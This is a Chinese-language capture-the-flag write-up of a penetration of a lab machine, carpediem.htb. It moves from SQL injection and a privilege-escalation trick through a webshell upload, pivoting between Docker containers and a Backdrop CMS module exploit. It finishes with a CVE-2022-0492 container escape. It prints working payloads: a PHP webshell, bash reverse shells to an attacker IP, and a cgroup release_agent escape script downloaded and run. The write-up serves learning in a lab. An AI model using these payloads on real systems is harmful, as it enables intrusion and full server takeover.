本次渗透在几个docker虚拟机间多次横向移动,最终找到了一个可以进行docker逃逸的出口,拿下服务器。渗透过程曲折但充满了乐趣,入口是172.17.0.6的docker虚拟机,然后一路横向移动,最终在172.17.0.2出实现了docker逃逸,简单画了一个思维导图,方便大家阅读全文。(因版权问题,靶机隐去,但不影响阅读)
信息收集
先端口扫描一波;
目录探测一波,并没有特殊发现;
子域名探测一波;
发现子域名;继续目录探测一波;
发现了admin和uploads;用xray扫描一波;
./xray_linux_amd64 webscan --basic-crawler http://portal.carpediem.htb/ --html-output /root/Desktop/vuln.html
sql注入,有点开心,还有个XSS;
结合上面的信息,开始进行漏洞挖掘。
漏洞挖掘
sql注入
sqlmap -u "http://portal.carpediem.htb/?p=view_bike&id=c4ca4238a0b923820dcc509a6f75849b" -dbs --batch
成功注出了用户,但发现并没有用;
注出的用户无法登录后台;
尝试sqlmap执行命令也失败了,只能暂时放弃往这方面深入。
垂直越权
注册一个用户;
尝试用数据库里的cookie来替换,但并没有用;
有趣的是,发现有一个按钮来修改我们的个人资料,
我们随意更改内容,并在发送请求时使用 burpsuite 拦截它;
我们可以看到 login_type 的值为 2,但是如果我们将其更改为 1 会发生什么?
有惊喜,可以成功越权访问到管理员的后台了;
我们可以上传一张图片,尝试上传一个php马;
修改下文件属性,就可以绕过限制;
上传成功,用哥斯拉访问一下,连接成功;
很快意识到我们在一个 docker 容器中:
下面开始docker容器的横向移动渗透。
横向移动
先反弹个shell回来便于操作;
我们还可以寻找其他 docker 容器或主机。检查 /etc/hosts 我们找到我们的和另一个 IP 地址:
先用fscan快速寻找突破点;
有个可以匿名访问的ftp,尝试后无结果;
还有一个mysql也开着,查找配置文件;
简单搭建一个socks代理;
Local: ./chisel server --reverse -p 6969
Target: ./chisel client 10.10.14.56:6969 R:socks
登录mysql数据库;
密码没有破开,暂时也发挥不了作用。
偷懒没有成功,还是namp重新梳理下资产;
172.17.0.1:端口 22,80
172.17.0.2:端口 21、80、443 - BACKDROP CMS 和 FTP 端口
172.17.0.3:端口27017 - MongoDB服务器
172.17.0.4:端口 3306、33060 - MySQL server for
172.17.0.5:端口 8118 - Trudesk v1.1.11
其他2个web上来都需要登录,没有什么好的办法,继续从数据库服务器入手。
MongoDB服务器
发现配置文件;
尝试登录数据库;
proxy chains mongosh mongodb://127.0.0.1:27017
找到了用户和密码,但没法破解。所以尝试修改管理员密码,谷歌后找到了一个加密脚本可以生成密码;
import bcrypt password = "password" salt = bcrypt.gensalt(rounds=10) encoded = bcrypt.hashpw(password.encode(),salt) print(encoded)
现在,我们只需从 trudesk 数据库中更改密码即可
test> use trudesk switched to db trudesk trudesk> db.accounts.update( {"_id": ObjectId("623c8b20855cc5001a8ba13c")}, {$set: {"password": "$2b$10$zX4LTPwe7bEjhvQ.lbNgNuttsUcvcstL6SHHhZhIXouFObHXxYqey"}}); DeprecationWarning: Collection.update() is deprecated. Use updateOne, updateMany, or bulkWrite. { acknowledged: true, insertedId: null, matchedCount: 1, modifiedCount: 1, upsertedCount: 0 } trudesk>
此时我们可以使用密码以管理员身份登录172.17.0.5的web。
Zoiper
让我们仔细看看这些开放票证:
研究许久基本弄明白,zoiper是一个通信程序,最后四位数字是登录名,密码是2022年。域名是 carpediem.htb。登录后,拨打 *62 并获取 hflaccus 的密码。
获得的凭据是 hflaccus : xxxxxxxx 我们可以通过 ssh 连接。
还在docker容器里,继续。
wireshark解包
在这里查找配置文件,提权等尝试了许多操作都没有结果;
看到配置文件
/etc/ssl/certs/backdrop.carpediem.htb.key ,结合之前作靶机的经验,才想到抓包;
我们将两者都传递给我们的机器,在wireshark中我们导入密钥并打开捕获的数据包;
解密方法;
将-keylogfile 参数指定的文件,配置到wireshark的Edit -> Preferences -> Protocols -> TLS,(Pre)-Master-Secret log中:
加载后重新打开;
获取了用户登录的账号密码。
Backdrop-CMS
访问172.17.0.2:8002,
用抓包获取到的用户名和密码登录后台;
找到了后台getshell的方法,通过导入恶意模块来利用漏洞。
https://github.com/V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS ❯ tar -xf reference.tar ❯ cat reference/shell.php <?php system($_GET['cmd']);?> 想法是直接将其更改为反向shell并重新压缩它 ❯ cat reference/shell.php <?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.10/443 0>&1'");?> ❯ tar -cvf reference.tar reference &>/dev/null
在功能的顶部,我们可以导入一个模块
我们可以选择我们的 tar 文件,以便我们上传并导入它。
一旦我们上传它,我们调用 php 并在另一个容器中接收反向 shell;
成功获取了172.17.0.2的shell,还在docker容器里。
docker逃逸
检查pspy会向我们显示一个明显的脚本,每10秒运行一次;
www-data@90c7f522b842:/opt$ cat heartbeat.sh #!/bin/bash #Run a site availability check every 10 seconds via cron checksum=($(/usr/bin/md5sum /var/www/html/backdrop/core/scripts/backdrop.sh)) if [[ $checksum != "70a121c0202a33567101e2330c069b34" ]]; then exit fi status=$(php /var/www/html/backdrop/core/scripts/backdrop.sh --root /var/www/html/backdrop https://localhost) grep "Welcome to backdrop.carpediem.htb!" "$status" if [[ "$?" != 0 ]]; then #something went wrong. restoring from backup. cp /root/index.php /var/www/html/backdrop/index.php fi
每隔一段时间,它就会更改 index.php 文件并调用它,似乎只要 heartbeat.sh 运行时 index.php 就会执行。将其更改为 php 反向 shell可以弹回一个shell。
通过在几秒钟后覆盖它,我们会以 root 身份收到一个反向 shell
获取root权限后,还是在docker容器里,利用最新的CVE-2022-0492进行docker容器逃逸。
由于机器没有 nano 或 vi 我们创建脚本并与服务器共享;
❯ cat script.sh mkdir /dev/shm/privesc mount -t cgroup -o rdma cgroup /dev/shm/privesc mkdir /dev/shm/privesc/x echo 1 > /dev/shm/privesc/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /dev/shm/privesc/release_agent echo '#!/bin/bash' > /cmd echo "bash -c 'bash -i >& /dev/tcp/10.10.14.10/443 0>&1'" >> /cmd chmod a+x /cmd bash -c "echo \$\$ > /dev/shm/privesc/x/cgroup.procs" ❯ sudo python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
在docker容器里,我们下载并执行它以向我们发送反向shell;
root@90c7f522b842:~# unshare -UrmC bash root@90c7f522b842:~# wget http://10.10.14.10/script.sh &>/dev/null root@90c7f522b842:~# chmod +x script.sh root@90c7f522b842:~# ./script.sh
运行脚本时,我们在自己的机器上接收 shell;
至此,完成了docker容器的逃逸,整个渗透过程结束。